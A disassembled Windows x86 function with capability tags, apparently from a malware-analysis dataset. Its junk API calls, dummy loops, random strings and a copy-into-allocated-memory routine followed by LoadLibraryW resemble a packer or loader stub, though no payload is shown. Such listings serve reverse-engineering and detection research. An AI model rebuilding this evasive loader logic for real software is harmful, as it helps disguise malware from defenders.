Function at 0x40b8d0
Capabilities:
Get common file path
Get geographical location
Set current directory
Set file attributes

Disassembly:
sub esp, 0xc34
mov eax, dword [0x4ac004]
xor eax, esp
mov dword [esp + 0xc30], eax
mov eax, dword [0x2b671d4]
cmp eax, 0x7c
jne 0x40b96d
lea eax, [esp]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0
lea ecx, [esp + 8]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
lea edx, [esp + 0x30]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
lea eax, [esp + 0x430]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
cmp dword [0x2b671d4], 0x2d
jne 0x40b94f
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
push 0x4aad58
push 0x4ae878
call fcn.00401015
push 0
call fcn.004012a4
mov eax, dword [0x2b671d4]
add esp, 0xc
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpynW]
xor esi, esi
mov ebp, 0xec58acac
or ebx, 0xffffffff
cmp eax, 0x8cf
jne 0x40b99e
push 0
push str.molitesopipotuyimif_yetuf_yetareyufohakoxiyatupinub_kofecoxamajujamizuxa
lea ecx, [esp + 0x448]
push ecx
call edi
mov eax, dword [0x2b671d4]
cmp esi, 0x162
jne 0x40b9b5
mov eax, dword [0x4ade04]
add eax, 0xa231
mov dword [0x2b671d4], eax
cmp eax, 0x141
jne 0x40b9c8
mov dword [0x4ae900], ebp
mov dword [0x4ae904], ebx
inc esi
cmp esi, 0x129916c
jl 0x40b981
xor ebp, ebp
xor esi, esi
cmp esi, 0x562d05
jne 0x40b9e9
mov edx, dword [0x4acfe8]
mov dword [0x2b671d8], edx
cmp eax, 0x3c
jne 0x40b9fa
push ebp
call dword [sym.imp.KERNEL32.dll_FindAtomA]
mov eax, dword [0x2b671d4]
inc esi
cmp esi, 0x5f6c74
jl 0x40b9d5
cmp eax, 0x110a
jne 0x40ba92
mov eax, dword [esp + 0x14]
push eax
push ebp
mov dword [0x2b670a0], ebp
mov dword [0x2b670a4], ebp
call dword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
push ebp
push str.dokujevada_tajefudedofiruvabitupejajigeje
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push str.pofalakevohotoc
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push ebp
lea ecx, [esp + 0x444]
push ecx
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
lea edx, [esp + 0x18]
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_GetCommState]
push ebp
push ebp
call fcn.00401092
push ebp
push ebp
call fcn.00401092
push ebp
call fcn.0040b4a4
push ebp
push ebp
call fcn.00401092
push ebp
call fcn.00401121
push 0x4aae5c
push 0x4ae878
call fcn.00401271
mov eax, dword [0x2b671d4]
add esp, 0x28
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor esi, esi
mov dword [0x2b66ef4], eax
cmp dword [0x2b671d4], ebp
jbe 0x40bb04
mov edi, dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
mov ebx, 0x19b0
jmp 0x40bac0
mov eax, dword [0x2b671d8]
mov dword [esp + 0x10], eax
mov eax, 0xa231
add dword [esp + 0x10], eax
mov ecx, dword [esp + 0x10]
mov dl, byte [ecx + esi]
mov eax, dword [0x2b66ef4]
mov byte [eax + esi], dl
cmp dword [0x2b671d4], 0x5ab
jne 0x40bafb
lea ecx, [esp + 0x18]
push ecx
push ebp
call edi
mov dword [0x2b66ef8], ebx
inc esi
cmp esi, dword [0x2b671d4]
jb 0x40bac0
push 0x4aae60
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call fcn.0040b600
call fcn.0040b5e0
call fcn.0040b890
call fcn.0040b5d0
mov edi, dword [esp + 0x20]
xor esi, esi
lea esp, [esp]
lea edx, [esp + 0x40]
push edx
call dword [sym.imp.KERNEL32.dll_FindAtomA]
cmp esi, 0x408e
jle 0x40bb4b
cmp edi, 0xf5bed7
jne 0x40bb54
inc esi
cmp esi, 0x687ed2
jl 0x40bb30
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov ebx, 0x1e4165
mov edi, 0x8e46a6f0
mov ebp, 0x7c4
lea esp, [esp]
mov dword [0x2b66efc], edi
cmp dword [0x2b671d4], ebp
jne 0x40bb80
call esi
sub ebx, 1
jne 0x40bb70
mov ecx, dword [esp + 0xc40]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00401006
add esp, 0xc34
ret